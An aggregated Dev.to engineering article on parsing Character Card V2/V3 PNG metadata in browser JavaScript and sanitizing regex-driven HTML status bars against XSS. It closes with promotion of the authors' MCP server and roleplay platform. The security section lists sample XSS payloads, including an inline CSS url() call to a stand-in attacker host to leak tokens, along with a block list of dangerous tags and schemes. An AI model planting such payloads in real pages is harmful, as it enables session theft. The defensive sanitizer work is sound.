Dev.to Security 🔐 Cybersecurity 👁 0 📖 9 min read

Parsing Character Card V2/V3 PNG Chunks in Pure Browser JS & Building a Zero-XSS Regex Status Bar Sandbox

Interactive fiction and AI roleplay creators pass around thousands of "character cards" every week—portable PNG portraits that secretly carry structured JSON world lore, persona definitions, alternate opening scenes, Lor

Interactive fiction and AI roleplay creators pass around thousands of "character cards" every week—portable PNG portraits that secretly carry structured JSON world lore, persona definitions, alternate opening scenes, Lorebooks, and Regex-driven HTML status bars.

Yet the tooling around these files has historically been fragile: legacy scripts rely on Node's Buffer or naive atob() calls that silently corrupt Japanese, Korean, Thai, and Chinese UTF-8 characters, while community-shared custom HUD templates often get dropped straight into innerHTML, turning a fantasy status bar into an open XSS vector.

When our engineering team at Rubii AI built our browser-based Character Card V1/V2/V3 & Character.AI Export Converter and open-sourced the underlying engine plus Chrome Extension under MIT (YoMio-Tech-Inc/character-card-toolkit), we enforced three non-negotiable constraints:

  1. Zero dependencies & 100% browser-native: Runs identically in plain browsers, Manifest V3 Chrome extensions, and Node.js 20 or newer using only Uint8Array, TextEncoder, and TextDecoder.
  2. Zero extension permissions ("permissions": []): Creators should never have to upload unpublished worldbuilding files to a third-party server or grant host permissions to inspect a PNG.
  3. Zero-XSS Regex UI sandboxing: Creators want RPG status HUDs, sealed archive letters, and in-world dispatch threads—without letting untrusted templates execute scripts or exfiltrate data via CSS url().

In this deep-dive, we walk through the exact binary parsing mechanics for Character Card V2 (chara) and V3 (ccv3) PNG chunks, the real-world edge cases we hit, how we built an allowlist-based HTML & inline-CSS sanitizer for Regex status bars, and how we exposed the same linting/layout tools over Model Context Protocol (YoMio-Tech-Inc/rubii-roleplay-mcp).

1. Anatomy of a Character Card PNG (chara & ccv3 Chunks)

Every PNG file starts with an 8-byte signature (89 50 4E 47 0D 0A 1A 0A), followed by a sequence of binary chunks until IEND. Each chunk has an exact 12-byte framing overhead:

[ 4 bytes: big-endian payload length N ]
[ 4 bytes: ASCII chunk type, e.g. "IHDR", "tEXt", "IDAT", "IEND" ]
[ N bytes: chunk payload ]
[ 4 bytes: IEEE 802.3 CRC-32 computed over (chunk type + chunk payload) ]

In the Character Card ecosystem:

  • V1 and V2 cards store a Base64-encoded UTF-8 JSON string inside a PNG tEXt chunk whose keyword is chara (separated from the Base64 text by a single 0x00 null byte).
  • V3 cards store their JSON payload in a tEXt chunk whose keyword is ccv3.
  • Dual-chunk PNGs are common in the wild: modern exporters embed both chara (V2 compatibility) and ccv3 (V3 extensions) in the same image right before IEND.

Reading Chunks & Validating CRC-32 Without Dependencies

Notice that we don't need pako, pngjs, or Node's Buffer to read or rewrite tEXt chunks. Because tEXt is uncompressed by specification (unlike zTXt or iTXt), a lightweight Uint8Array walker handles arbitrary PNGs in under a millisecond:

const PNG_SIGNATURE = Uint8Array.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]);

// Precomputed IEEE 802.3 CRC-32 lookup table
const CRC32_TABLE = (() => {
  const table = new Uint32Array(256);
  for (let i = 0; i < 256; i++) {
    let c = i;
    for (let k = 0; k < 8; k++) {
      c = (c & 1) !== 0 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
    }
    table[i] = c >>> 0;
  }
  return table;
})();

export function crc32(bytes: Uint8Array): number {
  let crc = 0xffffffff;
  for (let i = 0; i < bytes.length; i++) {
    crc = CRC32_TABLE[(crc ^ bytes[i]!) & 0xff]! ^ (crc >>> 8);
  }
  return (crc ^ 0xffffffff) >>> 0;
}

function readUint32BE(buf: Uint8Array, offset: number): number {
  return (
    ((buf[offset]! << 24) |
      (buf[offset + 1]! << 16) |
      (buf[offset + 2]! << 8) |
      buf[offset + 3]!) >>>
    0
  );
}

When walking chunks, always guard against truncated payloads (crcOffset + 4 > buffer.length) and stop cleanly on IEND:

export function readPngChunks(buffer: Uint8Array, verifyCrc = false): PngChunk[] {
  if (!isPngBuffer(buffer)) {
    throw new Error('Invalid PNG signature');
  }

  const chunks: PngChunk[] = [];
  let offset = 8;

  while (offset + 12 <= buffer.length) {
    const length = readUint32BE(buffer, offset);
    const type = bytesToLatin1(buffer.subarray(offset + 4, offset + 8));
    const dataStart = offset + 8;
    const dataEnd = dataStart + length;
    const crcOffset = dataEnd;

    if (crcOffset + 4 > buffer.length) {
      throw new Error(`Truncated PNG chunk "${type}" at offset ${offset}`);
    }

    if (verifyCrc) {
      const expectedCrc = readUint32BE(buffer, crcOffset);
      const actualCrc = crc32(buffer.subarray(offset + 4, dataEnd));
      if (actualCrc !== expectedCrc) {
        throw new Error(`CRC mismatch in PNG chunk "${type}"`);
      }
    }

    chunks.push({ type, data: Uint8Array.from(buffer.subarray(dataStart, dataEnd)) });
    offset = crcOffset + 4;
    if (type === 'IEND') break;
  }

  return chunks;
}

Three Real-World PNG Bugs That Break Naive Parsers

  1. atob() silently mangles UTF-8. Calling JSON.parse(atob(payload)) works only for ASCII. As soon as a card contains Japanese, Korean, Thai, Traditional Chinese, or even curly quotes (—, “), atob() yields a Latin-1 binary string and JSON.parse either crashes or produces mojibake. Instead, decode Base64 directly into raw bytes (Uint8Array) and pass that to new TextDecoder('utf-8').decode(bytes).
  2. Whitespace and line-wrapped Base64 inside tEXt. Some older desktop exporters insert \r\n every 76 characters inside the chara payload. Stripping [\r\n\t\s]+ before lookup-table decoding avoids spurious parse failures.
  3. Re-embedding without duplicating stale chunks. When writing an updated V2/V3 card back into an image, filter out any existing tEXt chunks whose lowercased keyword matches chara or ccv3, insert the newly built tEXt chunks immediately before IEND, and recompute the CRC-32 over chunk.type + chunk.data. Otherwise, downstream readers will pick whichever duplicate chunk appears first and silently load an outdated version of the character.

Here is the clean tEXt extractor from src/png.ts in character-card-toolkit:

function parseTextChunk(data: Uint8Array): { keyword: string; text: string } | null {
  const nullIndex = data.indexOf(0);
  if (nullIndex <= 0) return null;
  const keyword = bytesToLatin1(data.subarray(0, nullIndex));
  const text = bytesToLatin1(data.subarray(nullIndex + 1));
  return { keyword, text };
}

export function extractCardPayloadsFromPng(buffer: Uint8Array): PngCardPayloads {
  const chunks = readPngChunks(buffer);
  const result: PngCardPayloads = {};

  for (const chunk of chunks) {
    if (chunk.type !== 'tEXt') continue;
    const parsed = parseTextChunk(chunk.data);
    if (!parsed) continue;
    const keyLower = parsed.keyword.toLowerCase();
    if (keyLower === 'chara' || keyLower === 'ccv3') {
      const decoded = base64ToUtf8(parsed.text.trim());
      if (keyLower === 'chara') result.chara = decoded;
      else result.ccv3 = decoded;
    }
  }

  return result;
}

Because this code never touches the DOM or Node internals, the exact same compiled bundle runs inside our web tool, our CLI, and our zero-permission Chrome Extension (extension/manifest.json):

{
  "manifest_version": 3,
  "permissions": [],
  "content_security_policy": {
    "extension_pages": "script-src 'self'; object-src 'none';"
  }
}

2. The Harder Security Problem: Regex Status Bar Sandboxing

Reading PNG metadata is pure binary hygiene. The trickier security problem in modern interactive fiction is Styles & Regex custom UI.

In long-form roleplay, LLMs output compact structured markers at the end of a prose turn—for instance:

[STATUS | Location: Observatory of Brass & Glass | Chapter: Act I · Scene 4 | Tension: Rising (72%) | Inventory: Brass Compass, Star-Map Fragment]

A creator-defined Regex rule transforms that structured line into a styled RPG HUD card, a parchment letter, or an in-world dispatch panel using $1, $2, $3, $4 capture groups.

That pattern makes stories feel like living novels rather than flat two-line chat boxes—but naive Regex-to-HTML replacement is a classic XSS goldmine:

  • A malicious shared template can inject <script>, <iframe srcdoc="...">, <svg onload="...">, or <img src=x onerror=...>.
  • Even if you block <script> and on* attributes, inline CSS can still exfiltrate session tokens or leak user IPs via background-image: url("https://attacker.example/leak?x=...") or legacy expression(...) / @import.
  • A prompt-injected LLM reply could capture HTML tags into $1 and break out of an attribute or tag boundary.
  • A pathological regex can cause catastrophic backtracking (ReDoS) or invalid flag crashes.

Designing a Strict Allowlist Sanitizer (src/sandbox.ts)

Instead of trying to denylist every attack vector, we built sanitizeHtmlForSandbox() in character-card-toolkit/src/sandbox.ts around four layered allowlists:

  1. Drop active containers along with their inner content: <script>, <style>, <iframe>, <object>, <embed>, <applet>, <noscript>, <template>, <svg>, <math>, <textarea>, <title> are stripped completely (both paired blocks and stray self-closing tags).
  2. Allow only passive structural/semantic tags: div, span, article, section, header, footer, p, strong, em, blockquote, details, summary, meter, progress, table family, ul/ol/li, br, hr. Notice what is deliberately excluded: <a>, <img>, <form>, <input>, <button>, <video>, <audio>, <link>, <meta>.
  3. Strip all event handlers and URI-bearing attributes: Any attribute starting with on (onclick, onerror, onanimationstart, etc.) or carrying navigation/embedding semantics (href, src, xlink:href, srcdoc, formaction) is dropped and logged in removedReasons[]. Only class, style, title, role, aria-label, colspan, rowspan, open, value, min, and max survive.
  4. Sanitize every inline CSS declaration: Each property: value pair inside style="..." is checked against an explicit visual-property allowlist (background, background-color, background-image, border*, color, display, flex*, grid*, font-*, padding, margin, border-radius, box-shadow, etc.). Values are decoded for HTML entities and inspected to reject url(, expression(, @import, javascript:, vbscript:, data:, behavior:, and angle brackets. For background-image, only linear-gradient(...) and radial-gradient(...) are permitted—zero external fetches!

Here is the core attribute and tag filter directly from src/sandbox.ts:

const ALLOWED_ATTRS = new Set([
  'class', 'style', 'title', 'role', 'aria-label',
  'colspan', 'rowspan', 'open', 'value', 'min', 'max',
]);

function parseAttributes(attrString: string, reasons: string[]): string {
  const out: string[] = [];
  const attrRe = /([^\s"'=<>`/]+)(?:\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'=<>`]+)))?/g;
  let match: RegExpExecArray | null;

  while ((match = attrRe.exec(attrString)) !== null) {
    const name = (match[1] ?? '').toLowerCase();
    const value = match[2] ?? match[3] ?? match[4] ?? '';

    if (name.startsWith('on')) {
      reasons.push(`event-attr:${name}`);
      continue;
    }
    if (['href', 'src', 'xlink:href', 'srcdoc', 'formaction'].includes(name)) {
      reasons.push(`blocked-attr:${name}`);
      continue;
    }
    if (!ALLOWED_ATTRS.has(name) || hasDangerousScheme(value)) {
      reasons.push(`disallowed-attr:${name}`);
      continue;
    }

    if (name === 'style') {
      const safeCss = sanitizeInlineStyle(value, reasons);
      if (safeCss) out.push(`style="${escapeAttrValue(safeCss)}"`);
      continue;
    }

    out.push(name === 'open' ? 'open' : `${name}="${escapeAttrValue(value)}"`);
  }

  return out.length > 0 ? ` ${out.join(' ')}` : '';
}

And before running any user-supplied regex in applyRegexRule(), we enforce a 500-character pattern ceiling, filter flags strictly to g, i, m, s, u, resolve $1..$9 and $& safely, and pass the resulting HTML through sanitizeHtmlForSandbox() while reporting removedCount and removedReasons back to the UI. Creators immediately see why an unsafe snippet from the internet was stripped instead of silently trusting broken markup.

3. Bridging Local Card Tools to Coding Agents via MCP

Many interactive fiction worldbuilders now draft Lorebooks, character sheets, and Regex HUD layouts inside Claude Code, Cursor, or VS Code. To bring the exact same schema validation, context-budget math, and sandbox-safe status bar generators into agent workflows without requiring an API key, we packaged them into an open-source Model Context Protocol (MCP) server:

You can attach it to Claude Code in one command:

claude mcp add --transport http rubii-roleplay https://mcp.rubii.ai/mcp

Or drop it into Cursor / VS Code mcp.json:

{
  "mcpServers": {
    "rubii-roleplay": {
      "url": "https://mcp.rubii.ai/mcp"
    }
  }
}

Its five tools—craft_story_world, build_status_bar_layout, audit_character_card, compare_memory_budget, and explore_guides—generate strictly static, sandbox-verified HTML+inline CSS layouts (minimal-card, fantasy-rpg, cyber-hud, novel-chapter, phone-chat, sealed-letter) paired with matching regex capture rules and LLM formatting instructions.

4. Try It Locally or Run Stories With Zero Self-Hosting

Everything we discussed above is free, MIT-licensed, and verifiable line by line:

Full disclosure: we maintain these open-source tools because we build Rubii AI—a web and mobile interactive fiction platform designed for players who love SillyTavern-grade prose, 24K+ context with editable Story Memo, frontier model switching mid-scene, and custom Styles & Regex HUDs, without wanting to self-host Node servers, reverse proxies, or raw API keys. (To be transparent about scope: Rubii focuses strictly on long-form text and visual storytelling rather than audio playback or speech synthesis, and runs on a Ruby credit + member daily free quota model with zero in-chat ads.)

If you are building browser-side PNG metadata parsers, Character Card V3 validators, or HTML allowlist sandboxes for LLM output, pull requests and security edge-case test vectors on character-card-toolkit are always welcome.

📰 Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.